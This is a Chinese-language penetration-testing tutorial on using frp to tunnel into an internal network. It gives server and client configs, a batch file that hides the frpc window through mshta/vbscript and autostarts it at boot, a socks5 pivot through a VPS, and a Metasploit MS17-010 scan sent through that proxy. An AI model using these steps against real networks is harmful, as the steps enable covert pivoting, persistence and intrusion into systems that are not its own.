服务端设置

  1. #通用配置段
  2. [common]
  3. #frp服务端监听 [VPS]
  4. bind_addr = 0.0.0.0
  5. #frp服务器监听端口 [实战中可以用一些通透性较好的端口]
  6. bind_port = 7007
  7. #服务端Web控制面板登录端口 [通过控制面板,可以实时了解到数据收发情况。实战中用处不大]
  8. dashboard_port = 6609
  9. #服务端Web控制面板用户名与密码 [强口令]
  10. dashboard_user = SuperMan
  11. dashboard_pwd = WC3pvjmh2tt8
  12. #日志输出位置,所有的日志信息都放到当前目录下的frps.log文件中
  13. log_file = ./frps.log
  14. #日志记录等级,有tracedebuginfowarnerror,通常情况下为info
  15. log_level = info
  16. #日志保留时间
  17. log_max_days = 3
  18. #验证凭据,服务端和客户端的凭据必须一样才能连接
  19. auth_token = E0iQEBOdoJeh
  20. #启用特权模式,从v0.10.0版本开始默认启用特权模式 [特权模式下,客户端更改配置无需更新服务端]
  21. privilege_mode = true
  22. #特权模式Token [强口令,建议随机生成]
  23. privilege_token = kukezkHC8R1H
  24. #特权模式允许分配的端口 [避免端口被滥用]
  25. privilege_allow_ports = 4000-50000
  26. #心跳检测超时时长
  27. heartbeat_timeout = 30
  28. #每个代理可以设置的连接池上限
  29. max_pool_count = 20
  30. #口令认证超时时间,一般不用改
  31. authentication_timeout = 900
  32. #指定子域名,后续将全部用域名的形式进行访问 [特权模式需下将 *.xxxx.online 解析到外网VPS上,即域名泛解析]
  33. subdomain_host = xxxx.online

服务端后台运行

至此,我们的服务端仅运行在前台,如果Ctrl+C停止或者关闭SSH窗口后,frps均会停止运行,因而我们使用 nohup命令将其运行在后台。

nohup后台程序管理或关闭相关命令可自行查询资料,上面这个连接中也有所提及。

nohup ./frps -c frps.ini &
输出如下内容即表示正常运行

  1. nohup: ignoring input and appending output to 'nohup.out'

此时可先使用Ctrl+C关闭nohup,frps依然会在后台运行,使用jobs命令查看后台运行的程序
jobs
在结果中我们可以看到frps正在后台正常运行

  1. [1]+ Running nohup ./frps -c frps.ini &

此时访问 x.x.x.x:7500 依然可以打开仪表板界面,至此,服务端即设置完成,你可以关闭SSH窗口了。

客户端设置

  1. #通用配置段
  2. [common]
  3. #frp服务端IP或域名 [实战中一般都会直接用域名]
  4. server_addr = frp.xxxx.online
  5. #frp服务器端口
  6. server_port = 7007
  7. #授权token,此处必须与服务端保持一致,否则无法建立连接
  8. auth_token = E0iQEBOdoJeh
  9. #启用特权模式 [特权模式下服务端无需配置]
  10. privilege_mode = true
  11. #特权模式 token,同样要与服务端完全保持一致
  12. privilege_token = kukezkHC8R1H
  13. #心跳检查间隔与超时时间
  14. heartbeat_interval = 10
  15. heartbeat_timeout = 30
  16. #连接数量
  17. pool_count = 20
  18. #内网穿透通常用socks5
  19. [socks5]
  20. type = tcp
  21. #连接VPS内网穿透的远程连接端口
  22. remote_port = 9066
  23. #使用插件socks5代理
  24. plugin = socks5
  25. #启用加密 [通信内容加密传输,有效防止流量被拦截]
  26. use_encryption = true
  27. #启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些CPU资源]
  28. use_compression = true
  29. #socks5连接口令 [根据实际情况进行配置]
  30. #plugin_user = SuperMan
  31. #plugin_passwd = ZBO0McQe6mE1

客户端后台运行及开机自启

frpc运行时始终有一个命令行窗口运行在前台,影响美观,我们可以使用一个批处理文件来将其运行在后台,而且可以双击执行,每次打开frpc不用再自己输命令了。
在任何一个目录下新建一个文本文件并将其重命名为“frpc.bat”,编辑,粘贴如下内容并保存。

  1. @echo off
  2. if "%1" == "h" goto begin
  3. mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
  4. :begin
  5. REM
  6. cd C:\frp
  7. frpc -c frpc.ini
  8. exit

将cd后的路径更改为你的frpc实际存放的目录。

之后直接运行这个 .bat 文件即可启动frpc并隐藏窗口(可在任务管理器中退出)。
至于开机启动,把这个 .bat 文件直接扔进Windows的开机启动文件夹就好了 :)
至此,客户端配置完成,之后就是你自己根据需要在frpc.ini后追加规则即可。
强烈建议你在使用frp直接测试内网穿透前,先在局域网内测试好相关功能的正常使用,并配置好可能会影响的Windows防火墙等内容,在内网调试通过后再使用frp进行内网穿透测试。

实战

image.png

image-20211220155433209.png

image-20211220155441991.png

socks5

  1. [common]
  2. server_addr = vps_ip
  3. server_port = 4444
  4. # 客户端认证 token,需要和服务端 token 保持一致
  5. token = 123456
  6. # 启用加密,防止流量被拦截
  7. use_encryption = true
  8. # 启用压缩,提升流量转发速度
  9. use_compression = true
  10. [socks5]
  11. type = tcp
  12. # 连接 vps 的端口
  13. remote_port = 1080
  14. plugin = socks5

测试 VPS IP 的 1080 的 socks5 代理,发现已经连通了。

proxychains

/etc/proxychains.conf
image-20211220184307731.png

MSF

  1. # sudo msfconsole -q
  2. msf5 > setg proxies socks5:xxx.xxxx.xxx:9066
  3. msf5 > use auxiliary/scanner/smb/smb_ms17_010
  4. msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 10
  5. msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.144.178
  6. msf5 auxiliary(scanner/smb/smb_ms17_010) > run